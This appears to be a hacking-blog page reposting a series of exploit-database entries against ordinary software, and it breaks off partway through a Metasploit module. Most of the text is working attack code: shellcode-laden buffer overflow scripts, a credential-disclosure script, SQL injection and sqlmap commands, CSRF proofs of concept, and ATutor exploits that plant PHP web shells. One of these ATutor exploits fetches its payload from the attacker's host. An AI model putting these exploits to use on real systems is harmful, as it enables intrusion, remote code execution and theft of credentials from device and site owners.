Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863115629

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# [CVE-2018-10093] Remote command injection vulnerability in AudioCode IP phones

## Description

The AudioCodes 400HD series of IP phones consists in a range of
easy-to-use, feature-rich desktop devices for the service provider
hosted services, enterprise IP telephony and contact center markets.

The CGI scripts used on the 420HD phone (web interface) do not filter
user inputs correctly. Consequently, an authenticated attacker could
inject arbitrary commands (Remote Code Execution) and take full control
over the device. For example, it is possible to intercept live
communications.

## Vulnerability records


**CVE ID**: CVE-2018-10093

**Access Vector**: remote

**Security Risk**: medium

**Vulnerability**: CWE-78

**CVSS Base Score**: 7.2

**CVSS Vector String**:
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C


## Details

The script `command.cgi`, used for system monitoring and diagnostics, is
vulnerable to a remote command execution attack.

Visiting the `/command.cgi?cat%20/etc/passwd` gives the following result:

```
admin:$1$FZ6rOGS1$54ZXSmjh7nod.kXFRyLx70:0:0:root:/:/bin/sh
```

Note that the vulnerable page is only available to authenticated users
(in possession of the admin configuration password).

## Timeline (dd/mm/yyyy)

* 06/03/2018 : Initial discovery
* 17/04/2018 : Vendor contact
* 17/05/2018 : Vendor technical team aknowledgment
* 07/01/2019 : Vendor recommendation to mitigate the issue
* 10/01/2019 : Public disclosure

## Fixes

AudioCodes recommends to change the default admin credentials to
mitigate the issue.

## Affected versions

Theses vulnerabilities have only been tested on the 420HD phone
(firmware version: 2.2.12.126).

## Credits

a.baube at sysdream dot com
            
# Exploit Title: Audio Playback Recorder 3.2.2 - Local Buffer Overflow (SEH)
# Date: 2020-09-08
# Author: Felipe Winsnes
# Software Link: https://archive.org/download/tucows_288670_Audio_Playback_Recorder/AudioRec.exe
# Version: 3.2.2
# Tested on: Windows 7 (x86)

# Blog: https://whitecr0wz.github.io/
# Proof of the vulnerability: https://whitecr0wz.github.io/assets/img/Findings11/11-proof.gif

# Proof of Concept:
# 1.- Run the python script, it will create the file "poc.txt" & "buf.txt".
# 2.- Copy the content of the new file "buf.txt" to clipboard.
# 3.- Open the application.
# 4.- Click on the bottom-right blue button to eject.
# 5.- Delete everything on the parameter and paste the clipboard (buf.txt). 
# 6.- Click eject once again to close it.
# 7.- Copy poc.txt to the clipboard.
# 8.- Click on "Register".
# 9.- Paste clipboard (poc.txt) on the parameter "Name".
# 10.- Profit.

import struct

# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed EXITFUNC=thread 
# Payload size: 447 bytes

buf = b"w00tw00t"
buf += b"\x89\xe2\xda\xd4\xd9\x72\xf4\x59\x49\x49\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
buf += b"\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
buf += b"\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
buf += b"\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b\x58\x6d\x52"
buf += b"\x63\x30\x47\x70\x63\x30\x61\x70\x6b\x39\x4a\x45\x65"
buf += b"\x61\x4f\x30\x33\x54\x6e\x6b\x30\x50\x66\x50\x6c\x4b"
buf += b"\x62\x72\x54\x4c\x4c\x4b\x33\x62\x32\x34\x4c\x4b\x42"
buf += b"\x52\x64\x68\x64\x4f\x4d\x67\x42\x6a\x37\x56\x36\x51"
buf += b"\x39\x6f\x4e\x4c\x67\x4c\x50\x61\x31\x6c\x45\x52\x36"
buf += b"\x4c\x45\x70\x7a\x61\x78\x4f\x46\x6d\x37\x71\x4a\x67"
buf += b"\x79\x72\x78\x72\x36\x32\x43\x67\x6e\x6b\x56\x32\x34"
buf += b"\x50\x6e\x6b\x51\x5a\x77\x4c\x6e\x6b\x52\x6c\x74\x51"
buf += b"\x34\x38\x49\x73\x53\x78\x67\x71\x48\x51\x30\x51\x6e"
buf += b"\x6b\x62\x79\x37\x50\x56\x61\x6a\x73\x6c\x4b\x63\x79"
buf += b"\x45\x48\x79\x73\x47\x4a\x42\x69\x6c\x4b\x44\x74\x6c"
buf += b"\x4b\x56\x61\x68\x56\x76\x51\x59\x6f\x4c\x6c\x79\x51"
buf += b"\x58\x4f\x54\x4d\x77\x71\x39\x57\x76\x58\x4b\x50\x53"
buf += b"\x45\x38\x76\x47\x73\x71\x6d\x5a\x58\x37\x4b\x31\x6d"
buf += b"\x46\x44\x71\x65\x4a\x44\x33\x68\x4e\x6b\x36\x38\x57"
buf += b"\x54\x36\x61\x6a\x73\x43\x56\x6c\x4b\x54\x4c\x50\x4b"
buf += b"\x6c\x4b\x36\x38\x57\x6c\x75\x51\x6b\x63\x4c\x4b\x45"
buf += b"\x54\x4c\x4b\x65\x51\x6a\x70\x6f\x79\x73\x74\x57\x54"
buf += b"\x76\x44\x33\x6b\x63\x6b\x43\x51\x72\x79\x72\x7a\x63"
buf += b"\x61\x6b\x4f\x49\x70\x61\x4f\x63\x6f\x61\x4a\x4c\x4b"
buf += b"\x62\x32\x4a\x4b\x4e\x6d\x73\x6d\x61\x7a\x57\x71\x6c"
buf += b"\x4d\x4f\x75\x4c\x72\x47\x70\x65\x50\x35\x50\x56\x30"
buf += b"\x63\x58\x50\x31\x6e\x6b\x32\x4f\x4c\x47\x49\x6f\x79"
buf += b"\x45\x6d\x6b\x6d\x30\x47\x6d\x76\x4a\x65\x5a\x33\x58"
buf += b"\x49\x36\x7a\x35\x6d\x6d\x4d\x4d\x49\x6f\x4e\x35\x37"
buf += b"\x4c\x37\x76\x51\x6c\x35\x5a\x6f\x70\x6b\x4b\x4b\x50"
buf += b"\x63\x45\x54\x45\x6f\x4b\x53\x77\x54\x53\x71\x62\x70"
buf += b"\x6f\x50\x6a\x35\x50\x46\x33\x79\x6f\x68\x55\x31\x73"
buf += b"\x53\x51\x70\x6c\x43\x53\x56\x4e\x62\x45\x73\x48\x71"
buf += b"\x75\x67\x70\x41\x41"

egg = ""
egg += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egg += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

nseh = struct.pack("<I", 0x06710870)
seh = struct.pack("<I", 0x10023B71)

buffer = "A" * 456 + nseh + seh + "A" * 5 + egg + "\xff" * 200

f = open ("poc.txt", "w")
f.write(buffer)
f.close()

f = open ("buf.txt", "w")
f.write(buf)
f.close()
            
# Exploit Title: Audio Conversion Wizard v2.01 - Buffer Overflow 
# Exploit Author: Hejap Zairy
# Date: 03.07.2022
# Software Link:   https://www.litexmedia.com/acwizard.exe
# Tested Version: v2.01
# Tested on: Windows 10 64bit

# 1.- Run python code : 0day-Hejap_Zairy.py
# 2.- Open 0day_Hejap.txt and copy All content to Clipboard
# 3.- Open Audio Conversion Wizard and press Enter Code
# 4.- Paste the Content of 0day_Hejap.txt into the 'Enter Code'
# 5.- Click 'OK'

# Author  Code By Hejap Zairy
#!/usr/bin/env python

from pwn import *

buffer = "\x41" * 1016 
push_esp  =  p32(0x1004dbff) #push esp ret ret from  id3lib.dll
nops =  "\x90" * 15#515 tshhh theardlooo love Malware 
#msfvenom   --arch x64  windows/x64/shell_reverse_tcp  lhost=ip lport=443      -f python -e x64/shikata_ga_nai  -b "\x00\x0a\x0d\x20"  
#msfvenom  --arch x64  -p windows/x64/messagebox   TEXT="0day Hejap Zairy"  -f python -e x64/shikata_ga_nai  EXITFUNC=thread -b "\x00\x0a\x0d\x20"
buf =  b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00"
buf += b"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b"
buf += b"\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e"
buf += b"\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9"
buf += b"\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52"
buf += b"\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00"
buf += b"\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b"
buf += b"\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48"
buf += b"\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6"
buf += b"\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b"
buf += b"\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
buf += b"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
buf += b"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0"
buf += b"\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff"
buf += b"\x5d\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a"
buf += b"\x01\x00\x00\x3e\x4c\x8d\x85\x2b\x01\x00\x00\x48\x31"
buf += b"\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\xbb\xe0\x1d\x2a"
buf += b"\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28"
buf += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
buf += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x30\x64\x61\x79"
buf += b"\x20\x48\x65\x6a\x61\x70\x20\x5a\x61\x69\x72\x79\x00"
buf += b"\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00"
padding ="C" * (len(buffer) - len(push_esp) - len(nops))
payload = buffer  + push_esp + nops + buf + padding
try:
    with open("0day_Hejap.txt","wb") as f:
        print("[+] Creating %s Shellcode 0day-Hejap payload.." %len(payload))
        f.write(payload)
        f.close()
        print("[+] File created!")
except:
    print("[-]File cannot be created")
            
# Exploit Title: Audacious 3.7 ID3 Local Crash PoC
# Date: 11-20-2015
# Exploit Author: Antonio Z.
# Vendor Homepage: http://audacious-media-player.org/
# Software Link: http://audacious-media-player.org/download | http://distfiles.audacious-media-player.org/audacious-3.7-win32.zip
# Version: 3.7
# Tested on: Windows 7 SP1 x64, Windows 8.1 x64, Windows 10 x64, Debian 8.2 x86-x64
# Comment: Issue was reported: http://redmine.audacious-media-player.org/issues/595

require 'fileutils'
require 'mp3info'

evil = 'A' * 1048576

FileUtils.cp 'Test_Case.mp3', 'Test_Case_PoC.mp3'

Mp3Info.open('Test_Case_PoC.mp3') do |mp3|
  mp3.tag.artist = evil
end
            
# # # # # 
# Vulnerability: SQL Injection
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Auction Website Script
# Script Buy Now: http://www.popularclones.com/products/Auction-Website-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/news.dtl.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # # 
            
# Exploit Title: ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure
# Date: 2020-11-20
# Exploit Author: Zagros Bingol
# Vendor Homepage: http://www.atx.com
# Software Link: https://atx.com/products/commercial-services-gateways/minicmts200a-broadband-gateway/
# Version: 2.0 and earlier
# Tested on: Debian 10 64bit

-------------------------------------

Endpoint:
http://www.ip/domain.com/inc/user.ini

--------------------------------------

Proof-of-Concept:

#!/usr/bin/python3
#License: GNU General Public license v3.0
#Author: Zagros Bingol(Zagrosbingol@outlook.com)


import requests
import re

target = input("Target(ex:http://host): \n")
port = input("Port: \n")


def sploit(target, port):
print("ATX/PicoDigital MiniCMTS200a Broadband Gateway v2.0 -
Credential Disclosure\n")
r = requests.post(target + ":" + port + '/inc/user.ini')
searching = re.findall(r"\[.{1,8}\]", str(r.text))
print("Usernames:\n")
print(", ".join(searching).replace("[", "").replace("]", ""))

def hash():
r = requests.post(target + '/inc/user.ini')
searching = re.findall(r"([a-fA-F\d]{32})", str(r.text))
print("Hashes:\n")
print(", ".join(searching).replace("[", "").replace("]", ""))
hash()

sploit(target, port)
            
/* exp.js

ATutor LMS <= 2.2.1 install_modules.php CSRF Remote Code Execution
by mr_me

Notes:
``````
- Discovered for @ipn_mx students advanced php vuln/dev class
- Tested on the latest FireFox 44.0.2 release build
- This poc simply uploads a zip file as pwn/si.php with a "<?php system($_GET['cmd']); ?>" in it
- You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips
- Use this with your favorite XSS attack
- Student proof, aka bullet proof

Timeline:
`````````
23/02/2016 - notified vendor via info[at]atutor[dot]ca
24/02/2016 - requested CVE and assigned CVE-2016-2539
24/02/2016 - vendor replied stating they are investigating the issue
05/03/2016 - vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac)
06/03/2016 - coordinated public release

Example: 
````````
mr_me@jupiter:~$ cat poc.py 
#!/usr/bin/python

import sys
import zipfile
import BaseHTTPServer
from cStringIO import StringIO
from SimpleHTTPServer import SimpleHTTPRequestHandler

if len(sys.argv) < 3:
    print "Usage: %s <lport> <target>" % sys.argv[0]
    print "eg: %s 8000 172.16.69.128" % sys.argv[0]
    sys.exit(1)

def _build_zip():
    """
    builds the zip file
    """
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('pwn/si.php', "<?php system($_GET['cmd']); ?>")
    z.close()
    handle = open('pwn.zip','wb')
    handle.write(f.getvalue())
    handle.close

class CORSRequestHandler (SimpleHTTPRequestHandler):
    def end_headers (self):
        self.send_header('Access-Control-Allow-Origin', 'http://%s' % sys.argv[2])
        SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
    _build_zip()
    BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer)

mr_me@jupiter:~$ ./poc.py 8000 172.16.69.128
Serving HTTP on 0.0.0.0 port 8000 ...
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /exp.js HTTP/1.1" 200 -
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /pwn.zip HTTP/1.1" 200 -

~ de Mexico con amor,

*/

var get_hostname = function(href) {
    var l = document.createElement("a");
    l.href = href;
    return l.hostname + ":" + l.port;
};

function trolololol(url, file_data, filename) {
   var file_size = file_data.length,
   boundary = "828116593165207937691721278",
   xhr = new XMLHttpRequest();

   // latest ff doesnt have sendAsBinary(), so we redefine it
   if(!xhr.sendAsBinary){
      xhr.sendAsBinary = function(datastr) {
          function byteValue(x) {
              return x.charCodeAt(0) & 0xff;
          }
          var ords = Array.prototype.map.call(datastr, byteValue);
          var ui8a = new Uint8Array(ords);
          this.send(ui8a.buffer);
      }
   }
   
   // the callback after this stage is done...
   xhr.onreadystatechange = function() {
       if (xhr.readyState == XMLHttpRequest.DONE) {
           xhr = new XMLHttpRequest();
           // change this if you change the zip
           xhr.open("GET", "/ATutor/mods/pwn/si.php?cmd=id", true);
           xhr.send();
       }
   }

   xhr.open("POST", url, true);
   // simulate a file MIME POST request.
   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
   xhr.setRequestHeader("Content-Length", file_size);
   var body = "--" + boundary + "\r\n";
   body += 'Content-Disposition: form-data; name="modulefile"; filename="' + filename + '"\r\n';
   body += "Content-Type: archive/zip\r\n\r\n";
   body += file_data + "\r\n";
   body += "--" + boundary + "\r\n";
   body += 'Content-Disposition: form-data; name="install_upload"\r\n\r\n';
   body += "junk\r\n";
   body += "--" + boundary;
   xhr.sendAsBinary(body);
   return true;
}

function pwn(){
    var xhr = new XMLHttpRequest();
    // et phone home
    var home = get_hostname(document.scripts[0].src);
    // get our own zip file
    xhr.open('GET', 'http://' + home + '/pwn.zip', true);
    xhr.responseType = 'blob';
    xhr.onload = function(e) {
        if (this.status == 200) {
            // use the FileReader class to get the raw binary
            var reader = new window.FileReader();
            reader.readAsBinaryString(new Blob([this.response], {type: 'application/zip'})); 
            reader.onloadend = function() {
                trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result, "pwn.zip");
            }
        }
    };
    xhr.send();
}

pwn();
            
# Exploit Title: ATutor 2.2.4 - 'id' SQL Injection
# Date: 2020-02-23
# Exploit Author: Andrey Stoykov
# Vendor Homepage: https://atutor.github.io/
# Software Link: https://sourceforge.net/projects/atutor/files/latest/download
# Version: ATutor 2.2.4
# Tested on: LAMP on Ubuntu 18.04

Steps to Reproduce:

1) Login as admin user
2) Browse to the following URL:
http://192.168.51.2/atutor/mods/_core/users/admin_delete.php?id=17' 
3) Exploiting with SQLMAP:
//Must supply valid User-Agent otherwise, there will be errors.
sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --dbms=mysql -u "http://192.168.51.2/atutor/mods/_core/users/admin_delete.php?id=17*" --cookie=<COOKIES HERE>
            
# Exploit Title: ATutor_2.2.2 Learning Management System 
# Cross-Site Request Forgery (Add New Course)
# Date: 13-11-2016
# Software Link: https://github.com/atutor/ATutor/releases/tag/atutor_2_2_2
# Vendor: http://www.atutor.ca/
# Exploit Author: Saravana Kumar
# Contact: https://facebook.com/06saravanakumar
# Category: webapps
# Version: 2.2.2
# Platform: PHP
# Tested on: [Kali Linux 2.0 | Windows 7]
# Email: 06saravanakumar@gmail.com
# Affected URL:
http://localhost/ATutor/mods/_core/courses/users/create_course.php

==================================
Vulnerability Disclosure Timeline:
==================================
2016-11-07: Found the vulnerability and Reported to Vendor.
2016-11-08: Vendor Replied.
2016-11-10: Vendor Fixed the vulnerability.
2016-11-11: Patch released
2016-10-12: Public Disclosure

########################### CSRF PoC ###############################
 
<html>
   <------ CSRF POC ------>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/ATutor/mods/_core/courses/users/create_course.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------34481053430281");
        xhr.withCredentials = true;
        var body = "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"form_course\"\r\n" + 
          "\r\n" + 
          "true\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + 
          "\r\n" + 
          "819200\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"course\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"old_access\"\r\n" + 
          "\r\n" + 
          "protected\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"created_date\"\r\n" + 
          "\r\n" + 
          "2016-11-07 06:55:20\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"show_courses\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"current_cat\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"title\"\r\n" + 
          "\r\n" + 
          "Programming Language\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"pri_lang\"\r\n" + 
          "\r\n" + 
          "en\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"description\"\r\n" + 
          "\r\n" + 
          "Python\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"category_parent\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"content_packaging\"\r\n" + 
          "\r\n" + 
          "top\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"rss\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"access\"\r\n" + 
          "\r\n" + 
          "protected\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"release_date\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"day_release\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"month_release\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"year_release\"\r\n" + 
          "\r\n" + 
          "2016\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"hour_release\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"min_release\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"end_date\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"day_end\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"month_end\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"year_end\"\r\n" + 
          "\r\n" + 
          "2017\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"hour_end\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"min_end\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"setvisual\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"banner\"\r\n" + 
          "\r\n" + 
          "\x3cp\x3eCan fill content what ever you want.\x3c/p\x3e\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"initial_content\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"quota\"\r\n" + 
          "\r\n" + 
          "-2\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"filesize\"\r\n" + 
          "\r\n" + 
          "-3\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"tracking\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"copyright\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"boolForce\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"icon\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + 
          "\r\n" + 
          "819200\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"customicon\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"custOptCount\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"courseId\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "-----------------------------34481053430281--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
 <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

---------------------------------------------------------------------------
 
Solution:
 
Patch is available. Install patch using the ATutor Patcher.

Link to download patch:

http://update.atutor.ca/patch/2_2_2/2_2_2-6/patch.xml
---------------------------------------------------------------------------
 
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
      'Description'    => %q{
         This module exploits a SQL Injection vulnerability and an authentication weakness
         vulnerability in ATutor. This essentially means an attacker can bypass authenication
         and reach the administrators interface where they can upload malcious code.

         You are required to login to the target to reach the SQL Injection, however this
         can be done as a student account and remote registration is enabled by default.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
        ],
      'References'     =>
        [
          [ 'CVE', '2016-2555'  ],
          [ 'URL', 'http://www.atutor.ca/' ] # Official Website
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Mar 1 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
        OptString.new('USERNAME', [true, 'The username to authenticate as']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ],self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def check
    # the only way to test if the target is vuln
    begin
      test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown
    end

    if test_injection(test_cookie)
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def create_zip_file
    zip_file      = Rex::Zip::Archive.new
    @header       = Rex::Text.rand_text_alpha_upper(4)
    @payload_name = Rex::Text.rand_text_alpha_lower(4)
    @plugin_name  = Rex::Text.rand_text_alpha_lower(3)

    path = "#{@plugin_name}/#{@payload_name}.php"
    register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")

    zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    zip_file.pack
  end

  def exec_code
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
      'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
    })
  end

  def upload_shell(cookie)
    post_data = Rex::MIME::Message.new
    post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")
    post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")
    data = post_data.to_s
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => cookie,
      'agent' => 'Mozilla'
    })

    if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
       res = send_request_cgi({
         'method' => 'GET',
         'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
         'cookie' => cookie,
         'agent'  => 'Mozilla',
       })
       if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
          res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
            'cookie' => cookie,
            'agent'  => 'Mozilla',
          })
       return true
       end
    end

    # auth failed if we land here, bail
    fail_with(Failure::Unknown, "Unable to upload php code")
    return false
  end

  def get_hashed_password(token, password, bypass)
    if bypass
      return Rex::Text.sha1(password + token)
    else
      return Rex::Text.sha1(Rex::Text.sha1(password) + token)
    end
  end

  def login(username, password, bypass)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "login.php"),
      'agent' => 'Mozilla',
    })

    token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
